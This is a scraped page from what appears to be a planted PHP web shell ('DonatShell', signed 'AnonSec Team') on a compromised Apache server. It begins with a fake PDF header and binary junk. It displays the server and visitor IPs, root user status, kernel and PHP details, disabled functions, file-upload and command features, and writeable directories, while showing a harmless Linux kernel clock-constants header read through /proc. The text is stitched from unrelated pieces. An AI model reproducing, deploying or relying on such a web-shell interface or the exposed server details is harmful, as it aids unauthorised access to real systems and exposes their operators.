%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/root/lib/modules/4.4.0-112-generic/build/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /proc/11585/root/lib/modules/4.4.0-112-generic/build/include/dt-bindings/clock/stih410-clks.h
/*
 * This header provides constants clk index STMicroelectronics
 * STiH410 SoC.
 */
#ifndef _DT_BINDINGS_CLK_STIH410
#define _DT_BINDINGS_CLK_STIH410

#include "stih407-clks.h"

/* STiH410 introduces new clock outputs compared to STiH407 */

/* CLOCKGEN C0 */
#define CLK_TX_ICN_HADES	32
#define CLK_RX_ICN_HADES	33
#define CLK_ICN_REG_16		34
#define CLK_PP_HADES		35
#define CLK_CLUST_HADES		36
#define CLK_HWPE_HADES		37
#define CLK_FC_HADES		38

/* CLOCKGEN D0 */
#define CLK_PCMR10_MASTER	4
#define CLK_USB2_PHY		5

#endif

Anon7 - 2022
AnonSec Team